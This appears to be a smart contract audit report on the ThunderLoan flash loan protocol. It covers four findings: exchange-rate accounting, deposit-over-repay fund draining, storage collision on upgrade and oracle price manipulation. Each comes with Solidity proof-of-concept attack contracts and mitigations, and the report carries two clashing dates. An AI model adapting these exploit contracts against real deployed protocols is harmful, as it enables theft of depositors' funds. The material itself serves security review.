Protocol Audit Report

Version 1.0

Cyfrin.io

January 11, 2026

Thunderloan Audit Report

Dengi-XCVI

March 7, 2023

Prepared by: Dengi Lead Auditors: - dengi

Table of Contents

    - [M-1] Using `TSwapPool` as an oracle could expose the protocol to "oracle price manipulation"
  - Lows
  - Gas
  - Informational

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The DENGI team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash: Commit Hash

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20

- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH
  -

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
-

Executive Summary

The audit has been conducted using a combination of manual review, static analysis tools (Slither, Aderyn) and fuzz testing (using foundry's built in fuzzer).

Issues found

Severity	Issues Found
High	3
Medium	1
Low	0
Info,Gas	0
Total	4

Findings

Highs

[H-1] Updating the exchange rate in the `ThunderLoan::deposit` function causes depositors to claim more underlying assets than the protocol holds

Description: In the `ThunderLoan::deposit` function, once a deposit has been made, a fee is calculated and the exchange rate is updated even though no fee has been accumulated in the following lines of code:

```
        // @audit-high we shouldn't be updating the exchange rate since no
         ↪  fee is being collected here
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
```

This causes the exchange rate to be higher than expected and the depositor could redeem more assets than he/she should.

Impact: High likelihood since the exchange rate is incorrectly updated every time a deposit happens. This issue has a high impact since it messes up the correct accounting of the protocol. If every depositor were to withdraw the maximum amount allowed, some depositor would be withdrawing more than they should, while the last ones to withdraw wouldn't be able to redeem the correcet amount.

Proof of Concept: Add the following test to `ThunderLoanTest.t.sol` and inspect the logs:

```
function testRedeemAfterDeposit() public setAllowedToken  {
        // Exchange rate and amounts before deposit
        console.log("Exhange rate before deposit",
         ↪  thunderLoan.getAssetFromToken(tokenA).getExchangeRate());
        console.log("Amount deposited", DEPOSIT_AMOUNT);

        // Depositing
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // Exchange rates and amounts after deposit
        AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
       uint256 amountOfAssetToken = assetToken.balanceOf(liquidityProvider);
        uint256 exchangeRate = assetToken.getExchangeRate();
```

```
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) /
↪   assetToken.EXCHANGE_RATE_PRECISION();
        console.log("Exchange rate after deposit", exchangeRate);
        console.log("Amount of asset token after deposit",
         ↪  amountOfAssetToken);
        console.log("Amount to redeem after deposit", amountUnderlying);


        /* Test reverts because exchange rate changes after deposit and
         ↪  amount of assets in contract is not enough
        since the deposit function already updated the exchange rate before
↪   receiving any fees */
        vm.startPrank(liquidityProvider);
        assetToken.approve(address(thunderLoan), amountOfAssetToken);
        vm.expectRevert();
        thunderLoan.redeem(tokenA, amountOfAssetToken);
        vm.stopPrank();
    }
```

Recommended Mitigation: Delete from your code the lines in `ThunderLoan::deposit` where the exchange rate is updated:

```
-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);
```

[H-2] Using `ThunderLoan::deposit` to repay a flashloan allows attacker to `redeem` and steal the protocol's funds

Description: An attacker can steal all of the funds by using `deposit` to repay their flashloans, because this will effectively update their balance and allow them to `redeem` all the funds, potentially draining the protocol.

Impact: Impact is high, an attacker could steal all of the funds in the protocol.

Proof of Concept: Add the following contract and test to the test suite to see the attack in action:

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
```

```
    }

    function redeemMoney(address token) public {
        uint256 amountToRedeem = assetToken.balanceOf(address(this));
        thunderLoan.redeem(IERC20(token), amountToRedeem);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool) {
            s_token = IERC20(token);
            assetToken = thunderLoan.getAssetFromToken(IERC20(token));
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.deposit(IERC20(token), amount + fee);
            return true;
        }


}


function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken
 ↪  hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor),fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney(address(tokenA));
        vm.stopPrank();
        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);

    }
```

Recommended Mitigation: Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and

checking it in **`deposit()`**.

[H-3] Storage collsion when upgrading ThunderLoan to ThunderLoanUpgradeable

Description: Storage slots order has been changed from `ThunderLoan` to `ThunderLoanUpgradeable` leading to unintended values for the variables. In particular the value of `s_flashloanFee` will be `1e18` after the upgraded. But other variables like `isCurrentlyFlashloaning` might have unintended values.

Impact: High, if the protocol is upgraded and storage collision happens this will compromise the functionality of the protocol.

Proof of Concept: Add the following test to the test suite to see what happens after an upgrade.

```
function testStorageCollision() public setAllowedToken hasDeposits {
        uint256 feePrecisionBeforeUpgrade = thunderLoan.getFeePrecision();
        uint256 flashLoanFeeBeforeUpgrade = thunderLoan.getFee();
        console.log("Fee Precision before upgrade:",
         ↪  feePrecisionBeforeUpgrade);
        console.log("Flash Loan Fee before upgrade:",
         ↪  flashLoanFeeBeforeUpgrade);
        // Upgrade contract
        ThunderLoanUpgraded thunderLoanUpgraded = new ThunderLoanUpgraded();
        vm.prank(thunderLoan.owner());
        thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
        thunderLoanUpgraded = ThunderLoanUpgraded(address(proxy));
        // Check storage values of upgraded contract
        uint256 flashLoanFeeAfterUpgrade = thunderLoanUpgraded.getFee();
        console.log("Flash Loan Fee after upgrade:",
         ↪  flashLoanFeeAfterUpgrade);
        // Unintended values due to storage collision
        console.log("Flash loan fee in upgraded contract is equal to the fee
         ↪  precision before upgrade");
        assertEq(flashLoanFeeAfterUpgrade, feePrecisionBeforeUpgrade);
    }
```

Recommended Mitigation: Change the order of the storage variables in `ThunderLoanUpgradeable` to match the one of `ThunderLoan`. In general, you should just append storage variables in the contract you want to upgrade to. If you want to eliminate a variable, it is better to leave it blank to avoid storage collision. `uint256 s_blank;`

Mediums

[M-1] Using `TSwapPool` as an oracle could expose the protocol to "oracle price manipulation"

Description: Using DEX liquidity pools as price oracles can lead to "oracle manipulation" exploits. An attacker could use a flashloan to move the price in a liquidity pool and then use the change in price in his favor. For example, an attacker could move the price in a liquidity pool on purpose to have lower fees calculated on another loan.

Impact: Medium impact, in this specific protocol the attacker could try to lower fees for himself, which is not critical but will accrue less fees for liquidity providers.

Proof of Concept: Adding the following test and contract to the existing `ThunderLoanTest.t.sol` shows how an attacker might manipulate the price in the `TSwapPool` to pay a lower fee for the following flashloan:

```
function testOracleManipulation() public {
        // Set up contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory poolFactory = new
↪   BuffMockPoolFactory(address(weth));
        // Create a pool/DEX between tokenA and WETH
        address tswappool = poolFactory.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(poolFactory));

        // Fund Tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(tswappool, 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(tswappool, 100e18);
        BuffMockTSwap(tswappool).deposit(100e18, 100e18, 100e18,
         ↪  block.timestamp );
        vm.stopPrank();

        // Fund Thunderloan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
```

```
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // Take out 2 flash loans
        // 1. To nuke the price on Weth/tokenA on Tswap
        // 2. To show that doing so reduces the fees on ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal fee :", normalFeeCost, " tokenA");

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver attacker = new
↪   MaliciousFlashLoanReceiver(tswappool, address(thunderLoan),
↪   address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(attacker), 1000e18);
        thunderLoan.flashloan(address(attacker), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = attacker.feeOne() + attacker.feeTwo();
        console.log("Attack fee:", attackFee);
        assert(attackFee < normalFeeCost);
    }

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
    ↪   _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
```

```
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool) {
            if(!attacked) {
                // Swap TokenA for WETH to manipulate price
                feeOne = fee;
                attacked = true;
                uint256 wethBought =
↪   tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
                IERC20(token).approve(address(tswapPool), 50e18);
                // Tanks the price!!
                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
↪   wethBought, block.timestamp);

                // Take out another flash loan to show reduced fees
                // It will now call executeOperation again but "attacked"
                 ↪  will be true
                thunderLoan.flashloan(address(this), IERC20(token), amount,
↪   "");
                // repay
                IERC20 (token).transfer(repayAddress, amount + fee);
            } else {
                feeTwo = fee;
                IERC20 (token).transfer(repayAddress, amount + fee);

            }
            return true;
        }


}
```

Recommended Mitigation: Use a different price oracle mechanism, like Chainlink price feeds with a Uniswap TWAP fallback oracle.

Lows

Gas

Informational